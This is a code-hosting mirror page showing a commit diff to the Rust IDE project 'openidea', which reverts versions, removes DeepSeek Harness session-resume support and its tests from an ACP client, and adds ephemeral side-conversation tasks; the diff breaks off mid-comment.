дзеркало
https://github.com/l0ng-ai/openidea.git
синхронізовано 2026-11-16 22:55:42 +02:00
Порівняти коміти
1
Коміти
| Автор | SHA1 | Дата | |
|---|---|---|---|
|
|
f53f7c0208 |
No files matched your search
Створено
+44
-44
@@ -4144,7 +4144,7 @@ checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954"
|
||||
|
||||
[[package]]
|
||||
name = "ide-agent"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"dunce",
|
||||
@@ -4169,7 +4169,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-analysis"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ast-grep-core",
|
||||
"ide-core",
|
||||
@@ -4183,7 +4183,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-android"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"serde",
|
||||
@@ -4194,7 +4194,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-build"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"chardetng",
|
||||
@@ -4212,7 +4212,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-cli"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"dirs 6.0.0",
|
||||
"serde",
|
||||
@@ -4226,7 +4226,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-clipboard"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"gtk",
|
||||
"objc2 0.6.5",
|
||||
@@ -4237,7 +4237,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-core"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"dunce",
|
||||
"encoding_rs",
|
||||
@@ -4254,7 +4254,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-coverage"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-run",
|
||||
@@ -4268,7 +4268,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-dap"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"futures",
|
||||
@@ -4297,7 +4297,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-db"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"bb8",
|
||||
@@ -4333,7 +4333,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-docker"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"serde",
|
||||
@@ -4346,7 +4346,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-extension"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"blake3",
|
||||
@@ -4367,7 +4367,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-fonts"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-text",
|
||||
@@ -4379,7 +4379,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-github"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-vcs",
|
||||
@@ -4392,7 +4392,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-heap"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"criterion",
|
||||
"ide-core",
|
||||
@@ -4410,7 +4410,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-host"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"blake3",
|
||||
@@ -4481,7 +4481,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-http"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-vfs",
|
||||
@@ -4500,7 +4500,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-index"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"criterion",
|
||||
@@ -4522,7 +4522,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-jdwp"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-jvm-inspect",
|
||||
"proptest",
|
||||
@@ -4534,7 +4534,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-jsonrpc"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"encoding_rs",
|
||||
"futures",
|
||||
@@ -4551,7 +4551,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-jvm-attach"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"tempfile",
|
||||
@@ -4560,7 +4560,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-jvm-inspect"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"futures",
|
||||
"serde",
|
||||
@@ -4571,7 +4571,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-language"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"criterion",
|
||||
@@ -4629,7 +4629,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-lsp"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"dunce",
|
||||
"encoding_rs",
|
||||
@@ -4657,7 +4657,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-mcp"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"dunce",
|
||||
@@ -4676,7 +4676,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-notebook"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"futures",
|
||||
"ide-core",
|
||||
@@ -4699,7 +4699,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-plugin"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"dunce",
|
||||
@@ -4722,7 +4722,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-profiler"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-jvm-attach",
|
||||
@@ -4736,7 +4736,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-remote"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"dunce",
|
||||
"futures",
|
||||
@@ -4756,7 +4756,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-run"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"dunce",
|
||||
"encoding_rs",
|
||||
@@ -4780,7 +4780,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-scaffold"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-tools",
|
||||
@@ -4796,7 +4796,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-sdk"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"dunce",
|
||||
"flate2",
|
||||
@@ -4819,7 +4819,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-search"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"criterion",
|
||||
"encoding_rs",
|
||||
@@ -4840,7 +4840,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-spell"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"parking_lot",
|
||||
@@ -4853,7 +4853,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-ssh"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"dirs 6.0.0",
|
||||
"flate2",
|
||||
@@ -4878,7 +4878,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-syntax"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-language",
|
||||
@@ -4893,7 +4893,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-terminal"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"libc",
|
||||
@@ -4906,7 +4906,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-text"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"criterion",
|
||||
"ide-core",
|
||||
@@ -4919,7 +4919,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-tools"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"flate2",
|
||||
"hex",
|
||||
@@ -4940,7 +4940,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-vcs"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"dunce",
|
||||
@@ -4961,7 +4961,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-vfs"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"chardetng",
|
||||
"dunce",
|
||||
@@ -4987,7 +4987,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-web"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"dirs 6.0.0",
|
||||
"ide-core",
|
||||
@@ -5003,7 +5003,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-workspace"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"dunce",
|
||||
@@ -6632,7 +6632,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openidea"
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"blake3",
|
||||
|
||||
+1
-1
@@ -5,7 +5,7 @@ members = ["crates/*", "src-tauri"]
|
||||
exclude = ["sdk", "plugins"]
|
||||
|
||||
[workspace.package]
|
||||
version = "0.1.46"
|
||||
version = "0.1.45"
|
||||
edition = "2024"
|
||||
rust-version = "1.96"
|
||||
license = "Apache-2.0"
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
`src/ui/brands/*.svg` use the unmodified logo paths from
|
||||
[Simple Icons](https://github.com/simple-icons/simple-icons), retrieved through
|
||||
Iconify (`simple-icons:angular`, `simple-icons:astro`, `simple-icons:cplusplus`, `simple-icons:dart`, `simple-icons:deepseek`, `simple-icons:django`, `simple-icons:dotnet`, `simple-icons:elixir`, `simple-icons:express`, `simple-icons:fastapi`, `simple-icons:flask`, `simple-icons:flutter`, `simple-icons:go`, `simple-icons:haskell`, `simple-icons:html5`, `simple-icons:kotlin`, `simple-icons:ktor`, `simple-icons:laravel`, `simple-icons:nestjs`, `simple-icons:nextdotjs`, `simple-icons:nodedotjs`, `simple-icons:nuxt`, `simple-icons:openjdk`, `simple-icons:phoenixframework`, `simple-icons:php`, `simple-icons:python`, `simple-icons:quarkus`, `simple-icons:ruby`, `simple-icons:rubyonrails`, `simple-icons:rust`, `simple-icons:scala`, `simple-icons:springboot`, `simple-icons:svelte`, `simple-icons:swift`, `simple-icons:symfony`, `simple-icons:vite`, `simple-icons:zig`) and filled with the brand colors (the standard icon grey for black logos). Licensed under [CC0 1.0 Universal](https://github.com/simple-icons/simple-icons/blob/develop/LICENSE.md).
|
||||
Iconify (`simple-icons:angular`, `simple-icons:astro`, `simple-icons:cplusplus`, `simple-icons:dart`, `simple-icons:django`, `simple-icons:dotnet`, `simple-icons:elixir`, `simple-icons:express`, `simple-icons:fastapi`, `simple-icons:flask`, `simple-icons:flutter`, `simple-icons:go`, `simple-icons:haskell`, `simple-icons:html5`, `simple-icons:kotlin`, `simple-icons:ktor`, `simple-icons:laravel`, `simple-icons:nestjs`, `simple-icons:nextdotjs`, `simple-icons:nodedotjs`, `simple-icons:nuxt`, `simple-icons:openjdk`, `simple-icons:phoenixframework`, `simple-icons:php`, `simple-icons:python`, `simple-icons:quarkus`, `simple-icons:ruby`, `simple-icons:rubyonrails`, `simple-icons:rust`, `simple-icons:scala`, `simple-icons:springboot`, `simple-icons:svelte`, `simple-icons:swift`, `simple-icons:symfony`, `simple-icons:vite`, `simple-icons:zig`) and filled with the brand colors (the standard icon grey for black logos). Licensed under [CC0 1.0 Universal](https://github.com/simple-icons/simple-icons/blob/develop/LICENSE.md).
|
||||
|
||||
## Project Lombok
|
||||
|
||||
|
||||
@@ -27,7 +27,7 @@ use serde::de::DeserializeOwned;
|
||||
use serde_json::{Value, json};
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicBool, AtomicU8, Ordering};
|
||||
use std::sync::atomic::{AtomicU8, Ordering};
|
||||
use tokio::sync::oneshot;
|
||||
|
||||
/// ACP's error code for a request that needs the user to sign in.
|
||||
@@ -162,16 +162,9 @@ impl Negotiated {
|
||||
Self { generation: 2, capabilities, agent_info: response.get("info").cloned(), auth_methods, meta }
|
||||
}
|
||||
|
||||
/// Whether a saved session can be reopened: `loadSession`, or a v1 agent's
|
||||
/// `sessionCapabilities.resume` (DeepSeek Harness), which stands in for it.
|
||||
/// Whether a saved session can be reopened (`session/load` on v1, `session/resume` on v2).
|
||||
pub fn load_session(&self) -> bool {
|
||||
self.capabilities.get("loadSession").and_then(Value::as_bool) == Some(true) || self.session("resume")
|
||||
}
|
||||
|
||||
/// Whether `session/load` must be sent as `session/resume`: a v1 agent that advertises
|
||||
/// `sessionCapabilities.resume` instead of `loadSession` (DeepSeek Harness).
|
||||
pub fn resume_instead_of_load(&self) -> bool {
|
||||
self.capabilities.get("loadSession").and_then(Value::as_bool) != Some(true) && self.session("resume")
|
||||
self.capabilities.get("loadSession").and_then(Value::as_bool) == Some(true)
|
||||
}
|
||||
|
||||
/// `promptCapabilities.<name>` (`image`, `audio`, `embeddedContext`).
|
||||
@@ -212,8 +205,6 @@ pub(crate) struct Dialect {
|
||||
inner: Arc<dyn Handler>,
|
||||
/// 0 until `initialize` answers; then 1 or 2.
|
||||
generation: AtomicU8,
|
||||
/// Set by `initialize`: a v1 agent's `session/load` is sent as `session/resume`.
|
||||
resume_load: AtomicBool,
|
||||
normalizer: Mutex<Normalizer>,
|
||||
/// Running v2 prompts, by session id.
|
||||
turns: Mutex<HashMap<String, Turn>>,
|
||||
@@ -231,7 +222,6 @@ impl Dialect {
|
||||
Arc::new(Self {
|
||||
inner,
|
||||
generation: AtomicU8::new(0),
|
||||
resume_load: AtomicBool::new(false),
|
||||
normalizer: Mutex::new(Normalizer::default()),
|
||||
turns: Mutex::new(HashMap::new()),
|
||||
})
|
||||
@@ -241,10 +231,6 @@ impl Dialect {
|
||||
self.generation.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
fn resume_load(&self) -> bool {
|
||||
self.resume_load.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
fn v2(&self) -> bool {
|
||||
self.generation() == 2
|
||||
}
|
||||
@@ -394,7 +380,6 @@ impl Conn {
|
||||
let response: Value = self.peer.request("initialize", initialize_params(client_info), None).await?;
|
||||
let negotiated = Negotiated::from_initialize(&response);
|
||||
self.dialect.generation.store(negotiated.generation, Ordering::Release);
|
||||
self.dialect.resume_load.store(negotiated.resume_instead_of_load(), Ordering::Release);
|
||||
Ok(negotiated)
|
||||
}
|
||||
|
||||
@@ -408,9 +393,6 @@ impl Conn {
|
||||
let params = serde_json::to_value(params).map_err(|e| RpcError::Protocol(e.to_string()))?;
|
||||
let value = if self.dialect.v2() {
|
||||
self.request_v2(method, params, cancel).await?
|
||||
} else if method == "session/load" && self.dialect.resume_load() {
|
||||
// Same request shape, without a replay and without v2's setup translation.
|
||||
self.peer.request("session/resume", params, cancel).await?
|
||||
} else {
|
||||
self.peer.request(method, params, cancel).await?
|
||||
};
|
||||
|
||||
@@ -180,7 +180,6 @@ async fn discovery_reads_effort_and_fast_from_session_new_then_stops_the_agent()
|
||||
fn a_v2_initialize_response_reads_as_v1_capabilities() {
|
||||
let n = Negotiated::from_initialize(&result(TURN, 1));
|
||||
assert_eq!(n.generation, 2);
|
||||
assert!(!n.resume_instead_of_load(), "v2 maps `session/load` itself");
|
||||
assert!(n.load_session());
|
||||
assert!(n.prompt("image") && n.prompt("embeddedContext") && !n.prompt("audio"));
|
||||
assert!(n.session("fork") && n.session("resume") && n.session("close") && n.session("delete"));
|
||||
@@ -682,87 +681,3 @@ fn stdio_mcp_is_v1_baseline_and_negotiated_in_v2() {
|
||||
.mcp_stdio()
|
||||
);
|
||||
}
|
||||
|
||||
/// A v1 agent that answers `initialize` with `init` and records every request it gets.
|
||||
/// Keeps its own `Peer` so the duplex stays open while the client sends.
|
||||
struct V1Agent {
|
||||
init: Value,
|
||||
peer: std::sync::OnceLock<Peer>,
|
||||
requests: parking_lot::Mutex<Vec<(String, Value)>>,
|
||||
}
|
||||
|
||||
impl Handler for V1Agent {
|
||||
fn on_notification(&self, _: &str, _: Value) {}
|
||||
|
||||
fn on_request(&self, method: &str, params: Value) -> Result<Value, (i64, String)> {
|
||||
self.requests.lock().push((method.to_owned(), params));
|
||||
Ok(if method == "initialize" { self.init.clone() } else { json!({}) })
|
||||
}
|
||||
}
|
||||
|
||||
async fn connect_v1(agent: Arc<V1Agent>) -> (Conn, Negotiated) {
|
||||
let (a, b) = tokio::io::duplex(1 << 20);
|
||||
let (ar, aw) = tokio::io::split(a);
|
||||
let (br, bw) = tokio::io::split(b);
|
||||
let _ = agent.peer.set(Peer::connect_framed(br, bw, agent.clone(), Framing::Lines));
|
||||
let dialect = Dialect::wrap(Arc::new(Recorder::default()));
|
||||
let conn = Conn::new(Peer::connect_framed(ar, aw, dialect.clone(), Framing::Lines), dialect);
|
||||
let n = conn.initialize(&json!({ "name": "OpenIDEA", "version": "0" })).await.unwrap();
|
||||
assert_eq!((n.generation, conn.generation()), (1, 1));
|
||||
(conn, n)
|
||||
}
|
||||
|
||||
fn v1_agent(init: Value) -> Arc<V1Agent> {
|
||||
Arc::new(V1Agent { init, peer: Default::default(), requests: Default::default() })
|
||||
}
|
||||
|
||||
/// A v1 agent that advertises `sessionCapabilities.resume` instead of `loadSession`
|
||||
/// (DeepSeek Harness) can reopen a saved session, but only through `session/resume`.
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn a_v1_agent_with_resume_instead_of_load_reopens_through_session_resume() {
|
||||
let agent = v1_agent(json!({
|
||||
"protocolVersion": 1,
|
||||
"agentInfo": { "name": "deepseek-harness-acp", "version": "0.0.1" },
|
||||
"agentCapabilities": { "sessionCapabilities": { "close": {}, "list": {}, "resume": {} } },
|
||||
}));
|
||||
let (conn, n) = connect_v1(agent.clone()).await;
|
||||
assert!(n.load_session(), "a resume-only agent is reloadable");
|
||||
assert!(n.resume_instead_of_load());
|
||||
assert!(n.session("resume"));
|
||||
|
||||
let params = json!({ "sessionId": "s1", "cwd": "/p", "mcpServers": [] });
|
||||
let _: Value = conn.request("session/load", params.clone(), None).await.unwrap();
|
||||
let requests = agent.requests.lock().clone();
|
||||
assert_eq!(requests.iter().map(|(m, _)| m.as_str()).collect::<Vec<_>>(), ["initialize", "session/resume"]);
|
||||
assert_eq!(requests[1].1, params, "same request shape as `session/load`");
|
||||
}
|
||||
|
||||
/// Every other v1 agent is untouched: `loadSession` still sends `session/load`, and an
|
||||
/// agent advertising neither capability is not treated as loadable.
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn v1_agents_that_do_not_advertise_resume_keep_session_load() {
|
||||
for (init, loadable) in [
|
||||
(json!({ "protocolVersion": 1, "agentCapabilities": { "loadSession": true } }), true),
|
||||
(json!({ "protocolVersion": 1, "agentCapabilities": { "loadSession": false } }), false),
|
||||
(json!({ "protocolVersion": 1, "agentCapabilities": { "sessionCapabilities": { "resume": null } } }), false),
|
||||
(json!({ "protocolVersion": 1 }), false),
|
||||
] {
|
||||
let agent = v1_agent(init);
|
||||
let (conn, n) = connect_v1(agent.clone()).await;
|
||||
assert_eq!(n.load_session(), loadable);
|
||||
assert!(!n.resume_instead_of_load());
|
||||
let _: Value = conn.request("session/load", json!({ "sessionId": "s1" }), None).await.unwrap();
|
||||
let methods: Vec<String> = agent.requests.lock().iter().map(|(m, _)| m.clone()).collect();
|
||||
assert_eq!(methods, ["initialize", "session/load"]);
|
||||
}
|
||||
// `loadSession: true` wins over a resume-only advertisement.
|
||||
let agent = v1_agent(json!({
|
||||
"protocolVersion": 1,
|
||||
"agentCapabilities": { "loadSession": true, "sessionCapabilities": { "resume": {} } },
|
||||
}));
|
||||
let (conn, n) = connect_v1(agent.clone()).await;
|
||||
assert!(n.load_session() && !n.resume_instead_of_load());
|
||||
let _: Value = conn.request("session/load", json!({ "sessionId": "s1" }), None).await.unwrap();
|
||||
let methods: Vec<String> = agent.requests.lock().iter().map(|(m, _)| m.clone()).collect();
|
||||
assert_eq!(methods, ["initialize", "session/load"]);
|
||||
}
|
||||
+268
-110
@@ -70,8 +70,6 @@ pub(crate) const LIMITS_UPDATE: &str = "openidea_limits";
|
||||
/// A native agent's own update: the background tasks its session runs
|
||||
/// (see [`TaskState::background_tasks`]).
|
||||
pub(crate) const BACKGROUND_TASKS_UPDATE: &str = "openidea_background_tasks";
|
||||
/// A native agent's diagnostic, including warnings emitted before a session exists.
|
||||
pub(crate) const WARNING_NOTIFICATION: &str = "_openidea/warning";
|
||||
/// Referenced files up to this size are embedded in the prompt (when the agent takes it).
|
||||
const MAX_EMBED: u64 = 256 * 1024;
|
||||
/// How long a probe waits for the agent to answer `initialize`.
|
||||
@@ -210,23 +208,20 @@ impl Shared {
|
||||
}
|
||||
}
|
||||
|
||||
/// The MCP servers passed to a session, and the names of the ones off for it.
|
||||
fn mcp_servers_for_session(
|
||||
&self,
|
||||
provider: &str,
|
||||
init: &acp::Negotiated,
|
||||
overrides: &BTreeMap<String, bool>,
|
||||
) -> McpForSession {
|
||||
let builtin_off = overrides.get(mcp::BUILTIN_MCP_NAME) == Some(&false);
|
||||
let mut servers =
|
||||
if builtin_off { Vec::new() } else { mcp_servers_for(init.mcp_stdio(), &self.paths.project_root) };
|
||||
) -> Vec<Value> {
|
||||
let mut servers = if overrides.get(mcp::BUILTIN_MCP_NAME) == Some(&false) {
|
||||
Vec::new()
|
||||
} else {
|
||||
mcp_servers_for(init.mcp_stdio(), &self.paths.project_root)
|
||||
};
|
||||
let configured = self.mcp_servers_hook.read().as_ref().map(|hook| hook()).unwrap_or_default();
|
||||
servers.extend(mcp::acp_mcp_servers(&configured, provider, init, overrides));
|
||||
let mut off = mcp::servers_off(&configured, overrides);
|
||||
if builtin_off {
|
||||
off.push(BUILTIN_SERVER.to_owned());
|
||||
}
|
||||
McpForSession { servers, off }
|
||||
servers
|
||||
}
|
||||
|
||||
fn known_config(&self, provider: &str) -> Vec<AgentConfigOption> {
|
||||
@@ -372,6 +367,11 @@ struct TaskState {
|
||||
title_renamed: bool,
|
||||
/// A turn is running or about to (prompts arriving now are queued).
|
||||
busy: bool,
|
||||
/// A temporary side conversation: lives in memory only, never persisted.
|
||||
ephemeral: bool,
|
||||
/// The conversation a temporary side conversation starts with, sent to the agent with
|
||||
/// its first real message; the task's own entries hold only the questions.
|
||||
ephemeral_context: Option<String>,
|
||||
/// Background tasks the agent reported as running (`run_in_background` commands and
|
||||
/// the like), as it sent them: unlike a turn they outlive it, so an idle release
|
||||
/// waits for the last one. A (re)started process runs nothing yet.
|
||||
@@ -498,8 +498,14 @@ impl AgentManager {
|
||||
}
|
||||
|
||||
/// Routes events to `sink` (replacing the previous subscriber); returns every task.
|
||||
/// Ephemeral tasks belonged to the previous page session: a fresh one starts without them.
|
||||
pub fn subscribe(&self, sink: AgentSink) -> Vec<AgentTask> {
|
||||
*self.shared.sink.write() = Some(sink);
|
||||
let stale: Vec<Arc<Task>> = self.tasks.read().values().filter(|t| t.state.lock().ephemeral).cloned().collect();
|
||||
for task in &stale {
|
||||
self.drop_in_memory(task);
|
||||
self.shared.emit(AgentEvent::Removed { id: task.id.clone() });
|
||||
}
|
||||
let mut tasks: Vec<AgentTask> = self.tasks.read().values().map(|t| t.state.lock().task.clone()).collect();
|
||||
tasks.sort_by(|a, b| b.updated_ms.total_cmp(&a.updated_ms));
|
||||
tasks
|
||||
@@ -631,9 +637,14 @@ impl AgentManager {
|
||||
}
|
||||
offered = self.shared.known_commands(&provider);
|
||||
}
|
||||
for command in builtin_commands(&provider) {
|
||||
if !offered.iter().any(|c| c.name == command.name) {
|
||||
offered.push(command);
|
||||
for &(name, description) in builtin_commands(&provider) {
|
||||
if !offered.iter().any(|c| c.name == name) {
|
||||
offered.push(AgentCommand {
|
||||
name: name.to_owned(),
|
||||
description: description.to_owned(),
|
||||
hint: None,
|
||||
source: AgentCommandSource::Command,
|
||||
});
|
||||
}
|
||||
}
|
||||
if provider != "claude" && provider != "claude-acp" {
|
||||
@@ -726,7 +737,7 @@ impl AgentManager {
|
||||
background: Box::default(),
|
||||
mcp_overrides: BTreeMap::new(),
|
||||
};
|
||||
let file = TaskFile {
|
||||
let handle = self.register(TaskFile {
|
||||
task: task.clone(),
|
||||
session_id: Some(session_id.to_owned()),
|
||||
entries: Vec::new(),
|
||||
@@ -737,9 +748,7 @@ impl AgentManager {
|
||||
subagents: Vec::new(),
|
||||
pending_rollback: 0,
|
||||
title_renamed: true,
|
||||
};
|
||||
let handle = Task::restore(file, self.shared.clone());
|
||||
self.tasks.write().insert(task.id.clone(), handle.clone());
|
||||
});
|
||||
handle.emit_task();
|
||||
handle.persist();
|
||||
Ok(task)
|
||||
@@ -777,27 +786,8 @@ impl AgentManager {
|
||||
(root, None, base, commit, before)
|
||||
}
|
||||
};
|
||||
// Until the session reports its own, show what the agent offered last time with the choices applied.
|
||||
let catalog = self.shared.paths.catalogs.cached(&self.shared, &spec.id);
|
||||
let mut levels = catalog.thought_levels;
|
||||
let mut config = self.shared.config_for_new_task(catalog.config, &spec.id);
|
||||
for choice in &req.config {
|
||||
if let Some(o) = config.iter_mut().find(|o| o.id == choice.id) {
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
}
|
||||
if let Some(model) = model_of(&config)
|
||||
&& let Some(levels) = levels.remove(&model)
|
||||
{
|
||||
config.extend(levels.into_iter().map(|mut o| {
|
||||
if let Some(choice) =
|
||||
req.config.iter().find(|c| c.id == o.id && o.values.iter().any(|v| v.value == c.value))
|
||||
{
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
o
|
||||
}));
|
||||
}
|
||||
// The session's settings: what the agent offered last time, with the choices applied.
|
||||
let config = self.merged_config(&spec.id, &req.config);
|
||||
let now = now_ms();
|
||||
let id = uuid::Uuid::new_v4().simple().to_string();
|
||||
// Copies of the files the user had changed already, for rolling back the task's changes to them.
|
||||
@@ -839,7 +829,7 @@ impl AgentManager {
|
||||
background: Box::default(),
|
||||
mcp_overrides: req.mcp_overrides,
|
||||
};
|
||||
let file = TaskFile {
|
||||
let handle = self.register(TaskFile {
|
||||
task: task.clone(),
|
||||
session_id: None,
|
||||
entries: Vec::new(),
|
||||
@@ -850,16 +840,118 @@ impl AgentManager {
|
||||
subagents: Vec::new(),
|
||||
pending_rollback: 0,
|
||||
title_renamed: false,
|
||||
};
|
||||
let handle = Task::restore(file, self.shared.clone());
|
||||
});
|
||||
handle.state.lock().busy = true;
|
||||
self.tasks.write().insert(task.id.clone(), handle.clone());
|
||||
handle.emit_task();
|
||||
handle.persist();
|
||||
self.shared.runtime.spawn(async move { handle.run(prompt).await });
|
||||
Ok(task)
|
||||
}
|
||||
|
||||
/// Builds the in-memory handle of a fresh task, registers it and announces it. The
|
||||
/// caller decides what else its life starts with (a persisted file, a session, a run).
|
||||
fn register(&self, file: TaskFile) -> Arc<Task> {
|
||||
let handle = Task::restore(file, self.shared.clone());
|
||||
self.tasks.write().insert(handle.id.clone(), handle.clone());
|
||||
handle.emit_task();
|
||||
handle
|
||||
}
|
||||
|
||||
/// The session's settings: what the agent offered last time, with the request's
|
||||
